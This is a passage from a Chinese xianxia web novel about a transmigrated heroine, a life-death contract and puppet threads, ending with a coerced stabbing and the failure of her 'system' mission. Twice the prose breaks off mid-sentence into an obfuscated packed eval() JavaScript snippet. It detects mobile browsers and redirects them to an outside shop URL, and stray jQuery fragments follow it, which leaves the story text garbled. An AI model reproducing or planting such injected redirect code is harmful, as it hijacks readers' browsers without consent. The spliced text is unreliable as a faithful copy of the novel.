李道意：“你受伤我就会受伤。”
他又在说一些意义不明的屁话，她灵台清明，才不会被李道意迷惑。
司马稚不信：“怎么可能？是卓姑娘找你回来的吗？还来得挺快……”
司马稚本来没打算李道意会来帮她的，要来帮忙那也应该是荀疏。
刚想到卓蕙心和荀疏，两人就匆匆回到了院里。
“阿稚？！”卓蕙心急忙跑上前来，“你没事吧？”
司马稚仍握着长星剑，被卓蕙心看到，剑柄热了几分，“我没事儿，还好你叫了人回来。”
卓蕙心这才将视线落在司马稚身后的李道意身上，两人身上的道袍都染上了脏污血渍。
“少主？”卓蕙心没想明白，“少主什么时候回来的啊？”
荀疏走上前来，将卓蕙心拉到自己身后，他打量着李道意和司马稚。
两人眉间的生死契隐约浮现出来，李道意躲开荀疏的打探，用灵力压制住生死契的印记。
只有司马稚什么都不知道，还指了指一旁缠在一起的丝线。
司马稚解释道：“这是从那个傀儡脑子里钻出来的，我用火符都烧不尽。”
李道意不言，荀疏也不好意思多说什么。
荀疏看了看那一团丝线：“傀儡丝？！”
那一团线还在蠕动着，恶心得司马稚想吐。
卓蕙心问：“傀儡丝是什么？”
荀疏解释：“傀儡丝就是用来控制傀儡的，这傀儡脑中流出来这么多丝线，恐怕不是他被控制，而是他在控制别的傀儡。修为越高的修士，如果要控制他成为傀儡，就需要更多的傀儡丝。”
司马稚想了想，“他是个堕魔，他自己说的。”
荀疏一拍手，忽然想通：“就是堕魔！这个魔头约莫是……”
荀疏话音未落，千点星由着八头妖兽抬着软轿赶来，小小的院子里顿时站满了人。
千点星面具下的神情看不清，他从软轿上走到众人身前：“荀疏小友可不要多想，本君可不会将傀儡布置在魔域。”
千点星立马与傀儡之事划清界限，但司马稚记得，剧情中好像魔域就是和堕魔有过合作，所以傀儡修士的发展才这么快。
但千点星不承认，“天下皆知这傀儡难以控制，一旦被引入了傀儡丝便会彻底失去意识。这样伤敌一千，自损八百的事，本君可不屑于做。”
司马稚下意识看向身侧的李道意，他脸色不好，侧脸上的那道血迹已经干涸。
司马稚看着李道意身上的伤，抬手在自己腰间狠狠地掐了下去。
李道意瞬间拧紧了眉头，侧眸睨了她一眼。
司马稚咬牙瞪了回去，“看我干什么？你不想弄清楚傀儡是怎么回事吗？”
李道意轻笑一声，他没压着声音，几人都能听见：“你不是都说了，这是个堕魔，那傀儡自然也是堕魔弄出来的。”
千点星顺着李道意的话，往下说：“说得没错，此事定然是堕魔想栽赃陷害本君，不曾想本君与修仙界交好多年，怎么会这么轻易被污蔑？小友们回到修仙界，可要将真实情况汇报给掌门啊。”
荀疏拱手：“这是自然，还请魔君回忆一下，最近可有陌生修士闯入魔域？”
魔域与修仙界不同，魔域的四周都有着瘴气，没有令牌的闯入之人都会被关进地牢，受刑七日。
千点星支吾，“除了你们，应该没有别人了。”
几人显然没信，尤其是司马稚，知道剧情的她，难道还不明白千点星打的什么算盘吗？
不过，现在比起傀儡之事，司马稚更想弄清楚，为什么她掐自己，李道意会侧眸看她，那眼神中还蕴含着警告和不满。
司马稚不信邪，朝着右侧的腰又掐了一下。
她刚想抬头观察李道意的表情，眼前突然出现李道意那张漂亮的脸，他的眼尾泛着红，眉头却不悦地拧在一起。
“别掐了，”他语气无奈，又突然威胁司马稚，“再掐，我掐死你。”
“你果然有感觉！！”司马稚恍然。
李道意：……
荀疏和卓蕙心都很习惯司马稚和李道意这样的相处方式了，只有千点星偷瞥了两人一眼。
在看到司马稚额间的印记时，惊了一瞬。
生死契……？魔域圣女果然能为魔域献身！此举大义啊！
千点星赞许地向司马稚点了点头，凭空变出一张画卷：“这是这五
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13931580|146156||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
百年内，魔域所探查到的堕魔踪迹，傀儡既然在本君眼皮底下作乱，本君便也不会包庇堕魔。”
千点星将画卷交给了司马稚，画卷打开后是一张修仙界的地图，上面标注着堕魔出现得最多的地方，但堕魔行踪不定，此画卷也只能当做参考。
“魔域你们可以随时来，只要本君在一日，便不会有人敢阻拦你们。”千点星语气真挚极了。
确实，除了千点星，现在魔域也没人敢和修仙界作对。
司马稚看着千点星离开的背影，忽然想起来，千点星从一开始就认出了荀疏就是失忆的魔君，但千点星并未找解决办法，替荀疏恢复记忆。
会不会是千点星当魔君当习惯了，不愿意回归本位？
毕竟当初的荀疏是主和不主战的，而这几百年的时间里，魔域在千点星的掌管之下，渐渐有想攻占修仙界的欲望。
这些问题都留给荀疏日后找千点星算账，现下，司马稚最想知道的就是，为什么她掐自己，李道意会有感觉？
司马稚收回视线，正巧看着李道意催动着灵宝将地上的一团傀儡丝，收入灵宝内。
灵宝里面突然传来一阵诡异的尖叫声。
司马稚好奇地多看了几眼，而李道意若无其事地拿着灵宝回了房间。
“道意道友修行的无情道能控制傀儡丝，将其禁锢在灵宝内，”荀疏嘴唇动了动，红着脸问司马稚：“司马姑娘和道意道友……是道侣吗？”
“啊？”司马稚一下子没反应过来，“道侣？这是什么东西？”
她问完才反应过来，连忙摆手：“不是！当然不是！少主和我就是单纯的师兄妹关系，怎么可能……”
让她和李道意结为道侣，还不如把她杀了。
不、还不如把李道意杀了。
荀疏眼中满是疑惑，而卓蕙心也很好奇。
荀疏目睹了李道意吐血的经过，在卓蕙心寻来以后，他看见司马稚身上也是血迹斑斑，和李道意那一身格外相似。
而且司马稚额间有明显的生死契印记，在荀疏看向李道意时，一闪而过的光被隐藏起来。
这也就让荀疏不敢确定。
毕竟，李道意是修仙界众所周知的无情道天才，无情道之人怎么可能会与旁人结生死契？
荀疏直来直去，也藏不住心思，他指了指司马稚额间的印记：“司马姑娘的生死契，是和谁……”
卓蕙心歪头看了看司马稚的额间，“哪有印记呀？我怎么没看到。”
“生死契？！”司马稚惊起，“我没有和人结契啊！”
她怎么可能会和人结这种契，那不是纯纯活够了吗？
荀疏沉默。
这下，荀疏更拿不准了。
司马稚抚开额间的碎发，“道友、道友！你再看看呢？真的有吗？！”
荀疏不管再看多少遍，那印记始终在司马稚的眉心存在着。
荀疏轻咳了一声：“只有我修为高于结契之人时，才会看见印记，所以卓姑娘看不见。”
卓蕙心恍然：“原来如此。”
荀疏想了想，“司马姑娘可以去找道意道友看一看。若此契不是姑娘自愿，尽早找到方法解除，不然恐怕会危及生命。”
司马稚：“……”
司马稚下意识握紧了手中的长剑，她垂眸一看，却是李道意的长星剑。
剑身上星辰闪烁，像是司马稚的呼吸频率，她紧张又忐忑：“系统，我和谁结了生死契？”
【刺杀任务人物，李道意。】
【抱歉，系统无法干涉宿主的选择。】
言下之意，和李道意结契，是她自愿的？！
她什么时候自愿了！
19. 019
司马稚握着长星剑，冲到李道意房里的时候，正巧见到李道意向灵宝内输送着灵力，那团傀儡丝在透明的瓷瓶内慢慢失去抗争的力气。
李道意在司马稚闯入的瞬间，手上的动作一顿，将瓷瓶稳稳放在木桌上。
司马稚仔细打量着李道意的额间，没有看到所谓的印记，大概是因为她修为太低，看不见这样的印记。
司马稚提剑指着李道意，她没想和他兜圈子，既然都被结了这个契，她还要顾忌什么吗？
李道意站起身来，看见司马稚手中的剑，差点儿笑出声：“你想用长星杀我？”
司马稚愣了愣，这长星剑是它自己跑到她手中来的，既不是她偷的，也不是她抢的。
李道意做什么这副被她欺负了的样子？！
司马稚才不想安慰他什么，反而想气死他：“长星剑有剑灵，它都不想跟着你，李道意，你就是个恶毒男配，没有人会喜欢你。”
她手中的长星剑闻言后，明显颤了颤，想要从司马稚手中挣脱出来。
司马稚握紧了几分，她要质问李道意，就要有底气一些。
李道意眉眼微扬，丝毫没有被臭骂后的羞愧之情，他笑而不语，似乎在等着司马稚继续骂他。
“生死契，是不是你弄的？！”司马稚执剑靠近了李道意一些。
她手中的长星剑发出一声铮鸣，司马稚还是不放手。
李道意伸手，抚上剑身，“生死契，是你自己愿意的。”
司马稚拧紧了眉头：“我什么时候愿意了？！”
“那晚，鉴心符，”李道意嘴角勾出一抹笑，“我用了两张。”
司马稚：“……”
李道意继续道：“你没发现，窥探我记忆的时间也比之前长一些么？”
司马稚哪里会注意到这些，当时她一门心思想去探查李道意的心愿，真是赔了夫人又折兵。
司马稚将手中的长星剑一掷，剑尖插入李道意身侧的木柱里，“怎么解？这个生死契要怎么解？”
李道意无辜地摇了摇头，他的声音一贯温柔，说出口的话却让司马稚怒火中烧：“若是生死契能解，便不叫生死契了。”
司马稚：？忍不了一点！
李道意看着司马稚在自己面前，一点一点气红了脸。
不知为何，看着司马稚生气，他心中格外爽快。
“你想杀了我是不是？”李道意明知故问。
司马稚在脑中叫喊着系统，但系统在李道意面前，根本不出现。
她差点儿就相信了李道意的鬼话，难道他说不能解就不能解吗？
李道意口中本来就没一句真话，她刚才还真快掉进了他的陷阱里，还好没有冲动就杀了他。
她早该知道的，自己在面对李道意时，就该三思而后行，不然就被他骗到了。
李道意见着司马稚转身想走，提步挡在她面前，“不是说好想杀我的吗？”
“少主是不是误会了？我就是来还你剑的啊。”
司马稚朝李道意挑了挑眉，看向木柱上的长星剑。
剑身故意晃了晃，仿佛是在表示自己的无辜。
李道意长指微动，长星飞到两人身前，“它想跟着你。”
“嘁，我才不要你的东西。”
司马稚侧过身，提步想走，却又被李道意挡住。
她总会找出解开生死契的办法，这契约既然能结，也必然能解。
司马稚抬起头，正巧看见李道意那戴在耳尖的合欢花坠子，她收回眼神：“你也不想和我结这个契吧，我的修为可没有你高，也不能长生不老，你和我结契之后，也活不了多久。”
“那不正好？”李道意笑了笑，“你说过，想满足我的心愿。”
司马稚有一种不祥的预感：“……”
果然，李道意说：“我想你用长星杀了我。”
司马稚只当是自己幻听，躲开李道意递来的长星剑。
第一次他将长星剑递给自己，是为了杀掉幻境中的尖嘴长毛怪。
第二次，是长星剑主动飞到了她的手里。
这是第三次，李道意想死在长星剑下。
司马稚不知道，李道意为什么这么固执地想要去死，还非得让自己杀了他。
司马稚还是摇了摇头，她不想这么草率。
李道意叹了口气，“既然你不愿，那就别怪我了。”
傀儡丝随着李道意的动作，钻出瓷瓶。
跟随着灵力的牵引，它渐渐靠近司马稚，在触碰到司马稚发尾的那一刻，傀儡丝钻进了司马稚的体内。
李道意弯下腰去，一双清透的眸子观察着司马稚的神情，她气呼呼的脸颊上还泛着红晕，但那双灵动的眼睛却没了神采。
李道意无奈：“我也不想这样的，谁让你不主动？”
李道意握住司马稚的手腕，藏在道袍下的腕骨纤细，他缓缓将长星剑塞进司马稚的手中。
长星剑颤了颤，想要挣脱开，李道意紧紧地握住了司马稚的手，“听话啊。”
李道意用灵力控制着司马稚的动作，长星剑一寸一寸刺入他的身体，滚烫的血液从胸膛滚落。
一寸又一寸。
李道意嘴角溢出一口血来，嘴角却勾起一抹笑。
这次比上次司马稚中毒的时候，刺得要深一些。
还要再深一些，刺破他的心脉，毁掉他的神魂和识海。
床榻上的毒蝎闻到了味道，急急忙忙快速地爬到李道意脚边，汲取着从他胸膛滴落的血珠。
司马稚的胸口也溢出血来，与李道意同样的位置，被无形的剑刺穿。
司马稚没有修为，她撑不住的，李道意催动着体内残存的灵力，稳住司马稚的身形。
至少要等到他一起消散。
李道意看着面前的少女，她眼神空洞，也不会说话，傀儡丝在控制着她的身体。
若不是司马稚一直拒绝他，李道意也不想用傀儡丝来控制她。
这应该是最后一次了。
李道意松了口气，他死后、司马稚也会死，这也算是帮司马稚摆脱了这满是苦难的人生。
李道意在灵力的流失中，缓缓闭上眼。
在彻底失去意识的那一瞬间，李道意似乎听到门外的荀疏好心地在问：“道友？我刚刚传音给了掌门，生死契是可以解的！”
可惜，房里的人都渐渐没了意识。
司马稚在系统的一声声越来越
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13938740|146156||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
急促的警报声中，神智慢慢清醒。
她胸口很痛，司马稚抬手揉了揉，总觉得自己的胸口空了一个洞。
【由于宿主三次都没有完成任务，所以宿主将会永远留在游戏世界之中，系统即将抽离。】
“不是？！”司马稚惊起，“任务时间还没有到一个月！怎么就判定我没完成任务？！”
【宿主刺杀李道意的任务失败，李道意在被宿主刺杀三次后，仍然存活于世，所以上级判定任务失败。】
司马稚不服：“我只杀了他两次，明明没有第三次！”
虽然司马稚在心里，早就将李道意砍了不知道多少次了，但她不过也只是想想，还没有付诸实践呢！
难道想一想也不行了吗？！
司马稚刚问完，系统仿佛是想要她死心一样，眼前的黑幕上突然出现了她被傀儡丝控制，将长星剑刺入李道意胸膛的场景。
是李道意用灵力在控制她。
画面中，不仅李道意在吐血，她的胸口也破了个洞。
司马稚抚上胸膛，手心沾了满手的血，天幕上呈现出来的场景好像是真的。
超e系统这时也向她告别：【上级已经彻底放弃拯救李道意计划，不会再有新的任务者出现，祝宿主有一个快乐的修仙经历。】
快乐？！她乐得出来才怪了！
还有这狗系统在说什么屁话，拯救李道意？它给她发布的任务难道不是刺杀任务吗？什么时候又变成了拯救计划？
超e系统趁着最后的机会，向司马稚解释：【宿主是系统绑定过活得最久的任务者，只是可惜……】
可惜？可惜你大爷！
司马稚挣扎着睁开眼，眼前突然出现一张卓蕙心的脸，“阿稚？你还好吗？真是吓死我了！”
司马稚的胸口还是很痛，卓蕙心将她扶起，倚靠在床边。
“阿稚，你还有哪里不舒服吗？”卓蕙心摸了摸司马稚的额头，“没想到那傀儡丝竟然这么厉害，竟然挣脱了少主的灵宝。”
卓蕙心还在说些什么，司马稚一个字都听不进去，她脑子里回响的还是系统说的那句话。
任务失败，她再也回不去了。
任务失败……
“李道意在哪里？”司马稚捂着胸口，强忍着疼痛起身。
“少主？”卓蕙心指了指外面，“少主应该也在房内休息，还好当时荀疏仙长发现了不对劲……”
司马稚推开房门，她还是在魔域的小院子里，荀疏守在李道意的房前。
司马稚握紧拳头，走过去。
荀疏见司马稚醒来，笑了笑：“司马姑娘醒了？道意道友似乎还没醒过来。那可恶的傀儡丝已经被我抽出，送回了琉光宗，司马姑娘不必担心。”
可恶的不是傀儡丝，是李道意。
“我有事想和李道意聊一聊。”司马稚走进房内，在荀疏疑惑的目光下，顺手关上了门。
司马稚缓缓走向床边，李道意的伤势似乎比她还严重一些。
活该！
司马稚死死盯着躺在床上的李道意，心中不断升起邪恶的念头。
她回不去了，李道意也别想好过！
既然杀不死他，那她就恶心死他！